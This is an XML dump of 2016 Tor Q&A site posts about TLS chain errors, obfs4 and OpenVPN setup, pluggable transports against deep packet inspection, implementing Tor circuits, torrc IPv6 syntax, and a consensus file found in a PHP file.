  <row Id="12172" PostTypeId="2" ParentId="12171" CreationDate="2016-07-21T02:53:05.053" Score="1" Body="&lt;p&gt;This is likely unrelated to Tor Browser (except that Tor Browser is being more strict about TLS being properly configured on the server side, it seems...), the server itself is at fault, the administrator has failed to configure TLS correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is missing an intermediate certificate to complete the &quot;trust&quot; chain between it's certificate and a trusted anchor, therefor Tor Browser cannot work back to a trusted anchor to ensure that it has been issued by a CA it trusts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;COMODO has a root certificate &lt;code&gt;A&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;COMODO &lt;em&gt;(or some bored student from Iran...)&lt;/em&gt; signs an intermediate certificate &lt;code&gt;B&lt;/code&gt;, this allows them to keep the root of their trust, &lt;code&gt;A&lt;/code&gt;, offline and safe. If &lt;code&gt;B&lt;/code&gt; is compromised it is easier to revoke and replace than &lt;code&gt;A&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;COMODO signs your TLS certificate, &lt;code&gt;C&lt;/code&gt;, with &lt;code&gt;B&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The server, however, is only issuing &lt;code&gt;C&lt;/code&gt; and the browser has no indication that &lt;code&gt;B&lt;/code&gt; exists, it cannot find a link to &lt;code&gt;A&lt;/code&gt;. The server should issue both &lt;code&gt;C&lt;/code&gt; &lt;em&gt;and&lt;/em&gt; &lt;code&gt;B&lt;/code&gt; so your browser can find &lt;code&gt;C&lt;/code&gt;-&gt;&lt;code&gt;B&lt;/code&gt;-&gt;&lt;code&gt;A&lt;/code&gt; and know that &lt;code&gt;A&lt;/code&gt; issued &lt;code&gt;C&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://www.ssllabs.com/ssltest/analyze.html?d=www.torrentz.com&amp;amp;s=185.87.147.3&amp;amp;latest&quot; rel=&quot;nofollow&quot;&gt;Qualys SSL Labs report for &lt;code&gt;www.torrentz.com&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This server's certificate chain is incomplete. Grade capped to B.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-21T02:53:05.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12174" PostTypeId="1" CreationDate="2016-07-21T10:58:43.313" Score="0" ViewCount="5472" Body="&lt;p&gt;I used obfs3 as socks proxy with Openvpn and it was very easy to configure and operate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use obfs4 proxy. I am running Ubuntu 14.10, i have installed latest tor package version (Tor version 0.2.7.6 (git-605ae665009853bd)). and latest obfs4proxy version (obfs4proxy-0.0.4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server configuration as described in &lt;a href=&quot;https://github.com/Yawning/obfs4&quot; rel=&quot;nofollow noreferrer&quot;&gt;obfs4 docs&lt;/a&gt; and from this &lt;a href=&quot;https://tor.stackexchange.com/questions/6370/how-to-run-an-obfs4-bridge&quot;&gt;tor answer&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# /etc/tor/torrc in server&#xA;&#xA;RunAsDaemon 1&#xA;ORPort 9001&#xA;BridgeRelay 1&#xA;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;ExtORPort auto&#xA;ServerTransportListenAddr obfs4 0.0.0.0:54554&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Client configurations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# /etc/tor/torrc in client&#xA;ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In obfs3, i could add --dest to server and add proxy {ip:port} on client. I cannot find this arguments any more on obfs4. &lt;strong&gt;How could i make Openvpn use tor with obfs4 as a proxy?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also i noticed that when i stop tor service, obfs4proxy executable don't be terminated, and from the log on /var/log/tor/log I found these lines&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jul 21 12:39:27.000 [notice] Interrupt: exiting cleanly.&#xA;Jul 21 12:39:27.000 [notice] Failed to terminate process with PID '11673' ('Permission denied').&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: The process with PID '11673' is the obfs4proxy process.&lt;/p&gt;&#xA;" OwnerUserId="13710" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2017-02-16T23:18:33.943" Title="Configure Obfs4 proxy with tor" Tags="|configuration|openvpn|obfs4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12175" PostTypeId="2" ParentId="12174" CreationDate="2016-07-21T17:41:45.343" Score="2" Body="&lt;p&gt;You probably want to have a read through the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/pt-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Pluggable Transport specification&lt;/a&gt;, they're controlled and configured through environment variables. You'll need to set them appropriately to get it to work with OpenVPN. Note that obfs4 also requires the client to have a &quot;certificate&quot; to be able to connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm unsure why tor cannot terminate obfs4, maybe you've assigned it capabilities or made it setuid, we need more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also Ubuntu 14.10 is dead and you should no longer be running it for anything, you won't get security updates, see: &lt;a href=&quot;https://lists.ubuntu.com/archives/ubuntu-announce/2015-July/000198.html&quot; rel=&quot;nofollow&quot;&gt;&quot;Ubuntu 14.10 (Utopic Unicorn) End of Life reached on July 23, 2015&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-07-21T20:32:50.360" LastActivityDate="2016-07-21T20:32:50.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12176" PostTypeId="2" ParentId="10528" CreationDate="2016-07-22T05:33:03.177" Score="0" Body="&lt;p&gt;Try to install &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/&quot; rel=&quot;nofollow&quot;&gt;FoxyProxy&lt;/a&gt; Extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had the same problem when using the &lt;code&gt;torify&lt;/code&gt; command. The only way to solve that was the extension.&lt;/p&gt;&#xA;" OwnerUserId="5413" LastActivityDate="2016-07-22T05:33:03.177" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12177" PostTypeId="1" CreationDate="2016-07-22T15:07:05.777" Score="0" ViewCount="1339" Body="&lt;p&gt;I have been using Tor on Linux for at least 5 years, without a problem from within enterprise network. I have set Tor network like a year or two ago to only use 80 and 443 ports to get pass the enterprise firewall and to always use brides with Obfs4 proxy. Now I got into a problem of not being able to connect to Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Few days ago my Tor connection stopped working. I got information from reliable source that enterprise bought new specialized firewall and now it is using deep packet inspection on ports 80 (only allowing pure http) and 443 (only allowing pure https). The intention was to get rid of TeamViewer installations that are using ports 80 and 443 to bypass VPN server. To overcome this problem in Tor configuration wizard I have removed only use 80 and 443 ports to be used by Tor and my Tor connection was working fine up until now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I can't establish Tor connection again. I got information from reliable source that enterprise is in next stage of filtering and has start fighting against using Tor network. I see for e.g. that web page &lt;a href=&quot;https://torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://torproject.org/&lt;/a&gt; is not accessible from web browser anymore and I also can't establish Tor connection on non-80 or non-443 port. In Tor wizard I have set:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a) Does your ISP blocks or otherwise censor connections to the Tor Network? Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b) Tor Bridges Configuration: &quot;Connect with provided bridges&quot;. Transport type: obfs4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c) Does this computer needs to use a local proxy to access the Internet? No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor connection is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On e-mail bridges@torproject.org with Google Gmail account I have requested obfs4 bridges and got bridges returned. I have copied the bridges into Tor wizard into field &quot;Enter custom bridges&quot;, but I still can't establish connection to Tor network using obfs4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made another request to bridges@torproject.org and returned bridges I copied them again into Tor wizard also using obfs4 and still get no Tor connection. Tor wizard does gets frozen on &quot;Establishing and encrypted directory connection&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bellow are Tor logs (I have masked the date/time and IP addresses with x/y/z letters):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xxxx.y.zz xx:yy:zz.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;xxxx.y.zz xx:yy:zz.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;xxxx.y.zz xx:yy:zz.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;xxxx.y.zz xx:yy:zz.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;xxxx.y.zz xx:yy:zz.000 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;xxxx.y.zz xx:yy:zz.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;xxxx.y.zz xx:yy:zz.000 [WARN] Proxy Client: unable to connect to xxx.xxx.xxx.xxx:37666 (&quot;general SOCKS server failure&quot;) &#xA;xxxx.y.zz xx:yy:zz.000 [WARN] Proxy Client: unable to connect to yyy.yyy.yyy.yyy:49168 (&quot;general SOCKS server failure&quot;) &#xA;xxxx.y.zz xx:yy:zz.000 [WARN] Proxy Client: unable to connect to zzz.zzz.zzz.zzz:48607 (&quot;general SOCKS server failure&quot;) &#xA;xxxx.y.zz xx:yy:zz.000 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;xxxx.y.zz xx:yy:zz.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;xxxx.y.zz xx:yy:zz.000 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I got information from reliable source that enterprise has implemented some anti-Tor solution in a way that every 30 minutes from firewall-provider they get update of new Tor entry points and Tor bridges IP addresses and firewall automatically blocks them. So whole process is automated, just like an anti-virus program downloads new definitions, firewall downloads new IP addresses of Tor bridges / entry points from firewall-provider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to establish connection to Tor network in this case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13725" LastEditorUserId="13725" LastEditDate="2016-07-22T15:21:04.593" LastActivityDate="2016-07-22T18:33:22.380" Title="How to get into Tor network if provider is using deep packet inspection?" Tags="|censorship|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12178" PostTypeId="1" CreationDate="2016-07-22T15:08:32.050" Score="0" ViewCount="1366" Body="&lt;p&gt;Im trying to implement a simple C# application that is based on Tor protocol, without identity changes every few minutes etc. just to create a circuit and make a request. I created the onion hidden service, and I want to try make a HTTP request to it and receive an answer first. I have read all the specs, and i looked up the Tor source code, but its really hard, because it is using very low-level C. So far what I understood from the technical point of view is this, if i want to fetch the main page of my onion hidden service I have to:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Choose a random directory server that is serving onion routers&#xA;microdescriptors (there are 10 hardcoded, but 1 is serving only the&#xA;bridges)&lt;/li&gt;&#xA;&lt;li&gt;Connect to dir server, fetch a consensus document&lt;br /&gt;&#xA;&lt;code&gt;/tor/status-vote/current/consensus/&lt;/code&gt; using HTTP protocol, close the&lt;br /&gt;&#xA;connection.&lt;/li&gt;&#xA;&lt;li&gt;Parse the list of onion routers, construct the    circuit from 3&#xA;nodes.&lt;/li&gt;&#xA;&lt;li&gt;Parse the entry node with the attributes    &lt;code&gt;Fast Guard HSDir Running Stable Valid&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Parse the exit node with    the attributes &lt;code&gt;Fast Exit HSDir Running Stable Valid&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Parse the    random middle node? Is it just a OR in the list&#xA;without &lt;code&gt;Exit&lt;/code&gt; or    &lt;code&gt;Guard&lt;/code&gt; attributes? Or any OR with attributes&#xA;&lt;code&gt;Exit&lt;/code&gt; or &lt;code&gt;Guard&lt;/code&gt; can    also be used as a middle node?&lt;/li&gt;&#xA;&lt;li&gt;Create a TCP socket and connect to    the parsed entry node with&#xA;the given IP port. Then create a &lt;em&gt;cell packet&lt;/em&gt; with the command &lt;code&gt;CREATE&lt;/code&gt; with the payload of Diffie-Hellman handshake. Receive a command &lt;code&gt;CREATED&lt;/code&gt; wit the encryption key.&lt;/li&gt;&#xA;&lt;li&gt;Form a &lt;em&gt;relay cell&lt;/em&gt; packet with command &lt;code&gt;RELAY_EXTEND&lt;/code&gt; containing&#xA;the IP port of the middle node, and encrypted  half handshake for the&#xA;middle relay, with the key we parsed from previous action, send it to&#xA;the connected entry node, receive an answer as &lt;code&gt;RELAY_EXTENDED&lt;/code&gt;&#xA;packet, parse new encryption key from it. And use it later to encrypt&#xA;last diffie hellman handshake payload.&lt;/li&gt;&#xA;&lt;li&gt;Do the previous action, send &lt;code&gt;RELAY_EXTEND&lt;/code&gt;, to the guard node, but with the address of the exit node, and encrypted diffie hellman handshake with the key we received from middle node.&lt;/li&gt;&#xA;&lt;li&gt;I guess that is it? The circuit is ready? Now i can use a relay&#xA;cell packets,sending them to my guard node socket connection, encrypted with the key i received from exit node with &lt;code&gt;RELAY_BEGIN&lt;/code&gt; to connect to hosts, &lt;code&gt;RELAY_DATA&lt;/code&gt; to&#xA;send data to them?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13724" LastEditorUserId="88" LastEditDate="2021-01-23T18:55:16.890" LastActivityDate="2021-01-23T18:55:16.890" Title="Implementing the tor protocol, based on tor sources and a few clarifications" Tags="|circuit|onion-routing|source-code|implementations|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="12180" PostTypeId="2" ParentId="12177" CreationDate="2016-07-22T18:33:22.380" Score="1" Body="&lt;p&gt;Yes, you need to use Pluggable transports. I do recommend ObfS3/4 and Meek, they're solving a plenty of problems like this.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-07-22T18:33:22.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12182" PostTypeId="2" ParentId="7497" CreationDate="2016-07-22T19:19:42.800" Score="1" Body="&lt;p&gt;You can replace your proxy with uProxy: &lt;a href=&quot;https://www.uproxy.org&quot; rel=&quot;nofollow&quot;&gt;https://www.uproxy.org&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;uProxy is free, open source, and uses WebRTC &lt;a href=&quot;https://webrtchacks.com/an-intro-to-webrtcs-natfirewall-problem/&quot; rel=&quot;nofollow&quot;&gt;NAT traversal techniques&lt;/a&gt; to allow peers without public IPs to communicate.&lt;/p&gt;&#xA;" OwnerUserId="13728" LastActivityDate="2016-07-22T19:19:42.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12183" PostTypeId="2" ParentId="12178" CreationDate="2016-07-22T20:57:20.937" Score="2" Body="&lt;p&gt;Step 7 is a TLS socket, not just raw TCP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;I created the onion hidden service, and i want to try make a http request to it&quot;&lt;/em&gt;, there are additional steps required for onion services which you'll know from reading the specs but aren't covered in your list. &lt;em&gt;(Get the list of HSDirs, find the correct HSDirs for the onion, fetch the descriptor, decode the introduction points, build a rendezvous circuit, request a meet at the rendezvous through an introduction point, etc.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;its really hard, because it is using very low-level C&quot;&lt;/em&gt;, if you're unfamiliar with C there's &lt;a href=&quot;https://github.com/subgraph/Orchid&quot; rel=&quot;nofollow&quot;&gt;Orchid (Java)&lt;/a&gt;, &lt;a href=&quot;https://github.com/tvdw/gotor&quot; rel=&quot;nofollow&quot;&gt;gotor (Go)&lt;/a&gt;, &lt;a href=&quot;https://github.com/pycepa/pycepa&quot; rel=&quot;nofollow&quot;&gt;pycepa (Python)&lt;/a&gt;, and other implementations of the OR protocol available.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-07-22T20:57:20.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12184" PostTypeId="1" AcceptedAnswerId="12186" CreationDate="2016-07-22T22:44:26.300" Score="1" ViewCount="626" Body="&lt;p&gt;I'm trying to setup a Tor transparent proxy VM to work over IPv6. The Tor manual states that for the VirtualAddrNetworkIPv6 setting:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When providing proxy server service to a network of computers using a&#xA;  tool like dns-proxy-tor, change the IPv4 network to &quot;10.192.0.0/10&quot; or&#xA;  &quot;172.16.0.0/12&quot; and change the IPv6 network to &quot;[FC00]/7&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/tor-manual.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My torrc file is configured like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VirtualAddrNetwork 10.192.0.0/10&#xA;VirtualAddrNetworkIPv6 [FC00]/7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However when I try to start Tor I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[warn] Malformed IP &quot;FC00&quot; in address pattern; rejecting.&#xA;[warn] Failed to parse/validate config: Error parsing VirtualAddressNetworkIPv6 [FC00]/7&#xA;[err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13730" LastActivityDate="2016-07-23T20:51:57.720" Title="Error configuring tor as transparent proxy with IPv6" Tags="|configuration|transparent-proxy|ipv6|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12186" PostTypeId="2" ParentId="12184" CreationDate="2016-07-22T23:57:25.713" Score="1" Body="&lt;p&gt;Looks like a documentation error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be raised as a ticket on the &lt;a href=&quot;https://trac.torproject.org&quot; rel=&quot;nofollow&quot;&gt;Tor Project Bug Tracker&lt;/a&gt;. There are details on the front page for an anonymous login, if required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that it &lt;em&gt;should&lt;/em&gt; be of the format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VirtualAddrNetworkIPv6 [FC00::]/7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The default value, defined in the manual page is specified, in that format, as: &lt;code&gt;[FE80::]/10&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;  VirtualAddrNetworkIPv6 [Address]/bits&#xA;       When Tor needs to assign a virtual (unused) address because of a&#xA;       MAPADDRESS command from the controller or the AutomapHostsOnResolve&#xA;       feature, Tor picks an unassigned address from this range.&#xA;       (Defaults: 127.192.0.0/10 and [FE80::]/10 respectively.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Update: I've created a ticket for this so that it's documented on the official bug tracker: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/19743&quot; rel=&quot;nofollow&quot;&gt;#19743 (VirtualAddrNetworkIPv6 manpage entry correction)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-07-23T20:51:57.720" LastActivityDate="2016-07-23T20:51:57.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12189" PostTypeId="1" CreationDate="2016-07-23T09:50:30.757" Score="0" ViewCount="525" Body="&lt;p&gt;Does anyone know why and especially how to get TBB to work in Linux dist. Slitaz ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Update:&#xA;TBB now works with &quot;tor-browser-linux32-6.0.2_en-US.tar.xz&quot; in the &quot;SliTaz-rolling-core64.iso&quot; from 2016-07-24.&#xA;&#xA;Procedure:&#xA;Extract the Tor Browser file (not as root):&#xA;Unxz c tor-browser-linux32-6.0.2_en-US.tar.xz | tar xf -&#xA;&#xA;Install from terminal window as root:&#xA;Tazpkg get-install bash and answer Yes to the default shell.&#xA;Tazpkg get-install gxmessage&#xA;Tazpkg get-install xorg-xmessage&#xA;Tazpkg get-install libmagic&#xA;Tazpkg get-install file&#xA;&#xA;getconf is not in Slitaz package repository, but TBB works 100% OK without.&#xA;&#xA;Big thanks to &quot;canonizing ironize&quot;.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13735" LastEditorUserId="13735" LastEditDate="2016-07-26T13:29:50.357" LastActivityDate="2017-01-22T17:50:00.460" Title="Tor Browser Bundle does not work in Slitaz (Linux Dist)" Tags="|configuration|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12190" PostTypeId="1" CreationDate="2016-07-23T12:00:16.807" Score="2" ViewCount="1923" Body="&lt;p&gt;I cannot see options to run tor relay or exit node from Orbot (Android App).&#xA;I think it would be a very awesome feature to have on mobile devices because mobile devices have very good uptime like servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the feature not there or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="13737" LastEditorUserId="12737" LastEditDate="2016-07-23T20:42:51.763" LastActivityDate="2017-09-10T07:38:52.420" Title="Running a Tor relay using Orbot" Tags="|relays|exit-relays|orbot|android|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12191" PostTypeId="1" CreationDate="2016-07-23T14:32:23.360" Score="0" ViewCount="214" Body="&lt;p&gt;I have a test server that I use to practice some HTML and PHP. I once installed a hidden service to that server which has been running since i installed it and i kind of forgot about it. After restarting my server, first of all it did not boot. I had to run &lt;code&gt;fsck&lt;/code&gt; from a stick to make it boot again. Now, one of my PHP files (contained in ../php/ from the html root dir) had gotten completely overwritten by this, which I could find out has something to do with &quot;consensus&quot; (I dont know much about tor):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;network-status-version 3 microdesc&#xA;vote-status consensus&#xA;consensus-method 20&#xA;valid-after 2016-07-21 12:00:00&#xA;fresh-until 2016-07-21 13:00:00&#xA;valid-until 2016-07-21 15:00:00&#xA;voting-delay 300 300&#xA;client-versions 0.2.4.26,0.2.4.27,0.2.5.11,0.2.5.12,0.2.6.5-rc,0.2.6.6,0.2.6.7,0.2.6.8,0.2.6.9,0.2.6.10,0.2.7.1-alpha,0.2.7.2-alpha,0.2.7.3-rc,0.2.7.4-rc,0.2.7.5,0.2.7.6,0.2.8.1-alpha,0.2.8.2-alpha,0.2.8.3-alpha,0.2.8.4-rc,0.2.8.5-rc&#xA;server-versions 0.2.4.26,0.2.4.27,0.2.5.11,0.2.5.12,0.2.6.5-rc,0.2.6.6,0.2.6.7,0.2.6.8,0.2.6.9,0.2.6.10,0.2.7.1-alpha,0.2.7.2-alpha,0.2.7.3-rc,0.2.7.4-rc,0.2.7.5,0.2.7.6,0.2.8.1-alpha,0.2.8.2-alpha,0.2.8.3-alpha,0.2.8.4-rc,0.2.8.5-rc&#xA;known-flags Authority BadExit Exit Fast Guard HSDir Running Stable V2Dir Valid&#xA;params CircuitPriorityHalflifeMsec=30000 NumDirectoryGuards=3 NumEntryGuards=1 NumNTorsPerTAP=100 Support022HiddenServices=0 UseNTorHandshake=1 bwauthpid=1 cbttestfreq=60 pb_disablepct=0 usecreatefast=0&#xA;dir-source dannenberg 0232AF901C31A04EE9848595AF9BB7620D4C5B2E dannenberg.torauth.de 193.23.244.244 80 443&#xA;contact Andreas Lehner&#xA;vote-digest 10E11D27D445930AFF1FA10C494DD78EB2CD242E&#xA;dir-source tor26 14C131DFC5C6F93646BE72FA1401C02A8DF2E8B4 86.59.21.38 86.59.21.38 80 443&#xA;contact Peter Palfrader&#xA;vote-digest 0402275230BB177CBE6160D893865F4DD6CB5B83&#xA;dir-source longclaw 23D15D965BC35114467363C165C4F724B64B4F66 199.254.238.53 199.254.238.53 80 443&#xA;contact Riseup Networks &amp;lt;collective at riseup dot net&amp;gt; - 1nNzekuHGGzBYRzyjfjFEfeisNvxkn4RT&#xA;vote-digest AE2019C8987DE691B6B66EB35491E241D67EF473&#xA;dir-source maatuska 49015F787433103580E3B66A1707A00E60F2D15B 171.25.193.9 171.25.193.9 443 80&#xA;contact 4096R/23291265 Linus Nordberg &amp;lt;linus@nordberg.se&amp;gt;&#xA;vote-digest 611F988C0988555D74C6B26A6963C04558F7B134&#xA;dir-source moria1 D586D18309DED4CD6D57C18FDB97EFA96D330566 128.31.0.34 128.31.0.34 9131 9101&#xA;contact 1024D/28988BF5 arma mit edu&#xA;vote-digest 424D7E588C59BB9420B435B93BD04031B068ECFE&#xA;dir-source gabelmoo ED03BB616EB2F60BEC80151114BB25CEF515B226 131.188.40.189 131.188.40.189 80 443&#xA;contact 4096R/261C5FBE77285F88FB0C343266C8C2D7C5AA446D Sebastian Hahn &amp;lt;tor@sebastianhahn.net&amp;gt; - 12NbRAjAG5U3LLWETSF7fSTcdaz32Mu5CN&#xA;vote-digest 4D85030FC77729DC79FDE0EB5FD97815EBA11913&#xA;dir-source Faravahar EFCBE720AB3A82B99F9E953CD5BF50F7EEFC7B97 154.35.175.225 154.35.175.225 80 443&#xA;contact 0x0B47D56D Sina Rabbani (inf0) &amp;lt;sina redteam net&amp;gt;&#xA;vote-digest FBBFBB86351D39AC3D5E83A8F05D0CDD5E50C5FE&#xA;r PDrelay1 AAFJ5u9xAqrKlpDW6N0pMhJLlKs 2016-07-21 10:54:59 95.215.44.189 8080 0&#xA;m LlYs05UWIRq94KUbAMzfEJU5rCqP6OvfAvKS66dPnPk&#xA;s Fast Guard Running Stable Valid&#xA;v Tor 0.2.8.1-alpha-dev&#xA;w Bandwidth=5590&#xA;r seele AAoQ1DAR6kkoo19hBAX5K0QztNw 2016-07-20 20:03:33 24.6.164.192 9001 0&#xA;m tt3FDCHe7m3/KV0J/9zXQwXF5csTIYpdI9IFjTV+sOE&#xA;s Running Stable Valid&#xA;v Tor 0.2.7.6&#xA;w Bandwidth=21&#xA;r CalyxInstitute14 ABG9JIWtRdmE7EFZyI/AZuXjMA4 2016-07-21 04:14:07 162.247.72.201 443 80&#xA;m aFe4KRhmgn4ljX8W31GErGVDAWb9D1MBsgzMkr/PR5s&#xA;s Exit Fast Guard HSDir Running Stable V2Dir Valid&#xA;v Tor 0.2.7.6&#xA;w Bandwidth=19300&#xA;r Heady ABN21tHosR0B1Ineei9I+5NAN1U 2016-07-21 02:23:24 185.29.156.231 9050 9030&#xA;m Gci3Tc5+79uCB4x8Q0Ew83AI8rnfSmVRy8UwPGgRn/A&#xA;s Fast Running V2Dir Valid&#xA;v Tor 0.2.7.6&#xA;w Bandwidth=442&#xA;r Neldoreth ABUk3UA9cp8I9+XXeBPvEnVs+o0 2016-07-21 09:35:49 185.13.39.197 443 80&#xA;m nBQIiIGiOFckYSzPrxNw7ppnLN1ZfcG/gON1Ey+PiU0&#xA;s Fast Guard Running Stable V2Dir Valid&#xA;v Tor 0.2.7.6&#xA;w Bandwidth=11400&#xA;r kittensOnTor ABYeFS/PQzgBdvE7lkZWvSQ9bzM 2016-07-21 04:40:59 81.7.16.31 9001 9031&#xA;m U8OaFjAn7VhyAZoV66V5T30SGXLFuRCkaGZG7YMJ694&#xA;s Fast Guard Running V2Dir Valid&#xA;v Tor 0.2.6.10&#xA;w Bandwidth=10300&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The actual file is way too long to post it here. Now the question: Basicly: wtf. How did it get there, what is it, why did it delete my PHP file and how do I prevent this from happening again?&lt;/p&gt;&#xA;" OwnerUserId="13738" LastActivityDate="2016-08-22T18:02:38.800" Title="This appeared in one of my PHP files" Tags="|consensus|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
